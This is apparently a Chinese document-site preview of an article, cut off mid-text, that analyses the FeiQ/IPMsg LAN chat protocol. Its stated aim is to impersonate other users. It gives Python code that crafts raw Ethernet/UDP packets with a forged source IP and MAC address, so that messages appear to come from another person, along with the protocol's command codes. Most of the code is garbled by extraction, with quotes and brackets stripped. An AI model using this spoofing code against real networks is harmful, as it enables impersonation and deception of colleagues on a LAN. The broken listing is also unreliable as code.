FeiQ传输协议分析.doc_第1页
FeiQ传输协议分析.doc_第2页
FeiQ传输协议分析.doc_第3页
FeiQ传输协议分析.doc_第4页
FeiQ传输协议分析.doc_第5页
已阅读5页,还剩8页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

我们常在局域网内用飞鸽进行沟通、文件传输。有天突发奇想,要是我能冒充某给人给另外一个人发送飞鸽消息,该多有趣?有了想法,就该去实现,不然就是空想了。不过还真空想了段时间,但最后还是写出了个小程序,和大家分享下。要想冒充他人,首先得了解下飞鸽协议(见/question/41558223.html)。由于我们大多数人用的都是飞秋,所以就直接分析飞秋了。飞秋协议实际上飞鸽协议的扩展,比飞鸽稍微复杂点。首先看个简单的例子,我们以编程的方式,自己给自己发条消息。看代码和截图:Python代码1. importsocket2. udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)3. udp.connect(localhost,2425)4. udp.send(1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?)5. 516. 简单说明下代码:飞鸽运行时,会监听UDP和TCP的2425端口,所以我们首先要和本地建立UDP连接,TCP连接一般用来发送文件等。1:100:flyingzl:flyingzl:32:纵我不往,子宁不嗣音?是飞鸽的协议字符串,1表示版本号,100标识包号,flyingzl表示用户名,第二个flyingzl表示主机名,32表示发送消息,后面的表示要发送的消息内容。这是飞鸽的协议,后面我们会看到飞鸽和飞秋又有所不同。我们可以通过socket连机其他人的飞秋并给他们发送消息,但是通过socket发送出去的数据包会默认带上我们自己的ip地址和mac地址,怎么样才能修改这些数据包呢?有办法,windows上不是有wincap么,linux上不是有libnet么,它们都有python扩展,叫做sendpkt,直接调用就好了。关于怎么使用,可以看之前我的帖子/topic/600032#1696365通过调用sendpkt,我们可以自己构造以太网数据包,自己定义源ip地址和源mac地址,这样就神不知鬼不觉地欺骗他人。现在的问题是:怎么构建以太网数据包。由于飞秋发送消息是采用UDP协议,所以我们只需要构建一个UDP数据包,然后加上我们的内容就可以了。构建以太网数据包可以采用dpkt,非常方便。现在,我们用wireshark来分析飞秋的协议。打开个飞鸽,点击刷新,就能看到wireshark捕获的数据包:飞秋上线时,首先会发送广播,告诉网内的其他飞秋,有新人上线,你们马上动起来,把他加入自己的好友,并问候他一下,这样,对方飞鸽里面就看到你的飞秋了。然后对方也会把自己的信息发给你,你的飞秋中也就有了他。我们把截获的代码拷出来,就是 1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:6291457: 别看这个字符串很复杂,其实它就是飞鸽的扩展,也是分为几段。1_lbt4_10#32899#002481627512#0#0#0 版本号,不过飞秋有很多自己的定制化,比如是否显示太阳等,32899就表示一个太阳和一个月亮,002481627512表示发送者的mac地址,后面的三个0不知道啥意思,有兴趣的童鞋好好分析下,和大家一起交流交流1289671407 也就是包序号了。Administrator是用户名MICROSO-697TGLD 是主机名6291457是命令字表示上线。还有一些其他的,比如288表示发送消息,6291457表示下线,还有晃屏啥的,大家有兴趣可以自己去分析。由于我只想发送消息,所以只需要修改下命令字为288即可。下面就是一个发送消息的命令字:1_lbt4_10#32899#002481627512#0#0#0:1289671407:Administrator:MICROSO-697TGLD:288:一日不见,如三月兮Python代码1. importsocket2. udp=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)3. udp.connect(localhost,2425)4. udp.send(1_lbt4_10#32899#002481627512#0#0#0:1289671407:flyingzl:flyingzl:288:一日不见,如三月兮)5. 866. 细心的同学已经发现,这次截图和上次截图显示不一样,上次截图显示的是飞鸽图标,这次却是飞秋图标。呵呵。因为我们发送的是飞秋命令字。有了飞秋命令字,我们就可以构建数据包,发送修改过的飞秋数据包了。啥都不说了,上代码:Python代码1. #coding=utf-82. importdpkt3. importsendpkt4. fromsocketimportinet_aton5. fromtimeimportstrftime6. importsocket7. importtypes8. importuuid9. 10. #本地网关MAC地址,可以通过如下方式获取:11. #C:UsersAdministratorarp-a12. #接口:00-0xb13. #Internet地址物理地址类型14. #00-03-47-ca-e4-5c动态15. MASK_MAC=1c-af-f7-c0-65-a816. 17. 18. defget_local_mac():19. 20. 获得本机Mac地址21. 22. mac=uuid.uuid1().hex-12:23. return-.join(mac(i-1)*2:2*iforiinrange(1,7)24. 25. defsend_msg(kwargs):26. 27. 发送消息,kwargs参数为一个dict对象28. 29. iftype(kwargs)isnottypes.DictType:30. return31. #本机ip地址32. local_ip=kwargs.get(src,socket.gethostbyname(socket.gethostname()33. #转码后的源ip地址34. src_ip=inet_aton(local_ip)35. #转码后的目的ip地址36. dst_ip=inet_aton(kwargs.get(dst)37. #本机mac地址38. local_mac=kwargs.get(src_mac,get_local_mac()39. #转码后的源mac地址40. src_mac=pack_mac(local_mac)41. #判断remote_ip和local_ip是否在同一个网段42. #转码后的目的mac地址43. dst_mac=pack_mac(kwargs.get(dst_mac)44. iftrans(local_ip)=trans(kwargs.get(dst)elsepack_mac(MASK_MAC)45. host=kwargs.get(host,socket.gethostname()46. user=kwargs.get(user,User)47. msg=kwargs.get(msg,Hello)48. 49. #找到第一个网络端口,根据自己的情况修改50. #安装了VirtualBox、VMWare或者有无线网卡的同学得自己修改下51. device=sendpkt.findalldevs()052. #飞鸽监听本地的UDP2425端口53. udp=dpkt.udp.UDP(dport=2425,sport=2425)54. #向飞鸽发送消息命令字55. #6291458表示下线56. #6291457表示上线57. #288表示发送信息58. #如果是飞秋,65664这个状态会在对方上显示为两个太阳59. msg=1_lbt4_10#65664#%s#0#0#0:%s:%s:%s:288:%s60. %(local_mac.replace(-,),int(strftime(%m%d%H%M%S)+100000000,user,host,msg)61. msg=msg.encode(gbk)62. udp.data+=msg63. udp.ulen=len(udp)64. 65. ip=dpkt.ip.IP(src=src_ip,dst=dst_ip,data=udp,p=dpkt.ip.IP_PROTO_UDP)66. #重新计算ip的长度,不然消息发送不出去67. ip.len=len(ip)68. 69. ether=dpkt.ethernet.Ethernet(70. dst=dst_mac,71. src=src_mac,72. type=0x0800,73. data=ip74. )75. sendpkt.sendpacket(str(ether),device)76. 77. deftrans(ip,mask=):78. 79. 判断两个ip地址是否在同一个网段80. 81. str=82. ip=ip.split(.)83. mask=mask.split(.)84. forindex,iteminenumerate(ip):85. str.append(int(item)&int(maskindex)86. returnstr87. 88. 89. defpack_mac(mac,pattern=-):90. 91. 网卡地址转为以太网Mac地址92. 例如将08-00-27-ba-f7-e5转为x08x00xbaxf7xe593. 94. mac=mac.split(pattern.lower()95. return.join(chr(int(0x+x,16)forxinmac)96. 97. if_name_=_main_:98. s=99. src:06,100. dst:00,101. src_mac:00-15-AF-AE-E6-C0,102. #这个地址最好别写错,可以从飞鸽上看到好友的Mac地址103. dst_mac:00-24-81-62-75-12,104. host:哈哈,105. user:呵呵,106. msg:加班呀?107. 108. send_msg(s)代码我就不解释了,大家可以看里面的注释,写得比较明白。我们来测试下,看看效果。从之前的图片上可以看到,我飞秋上就两个好友,我们现在要凭空造出来一个,他的ip是192.168

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论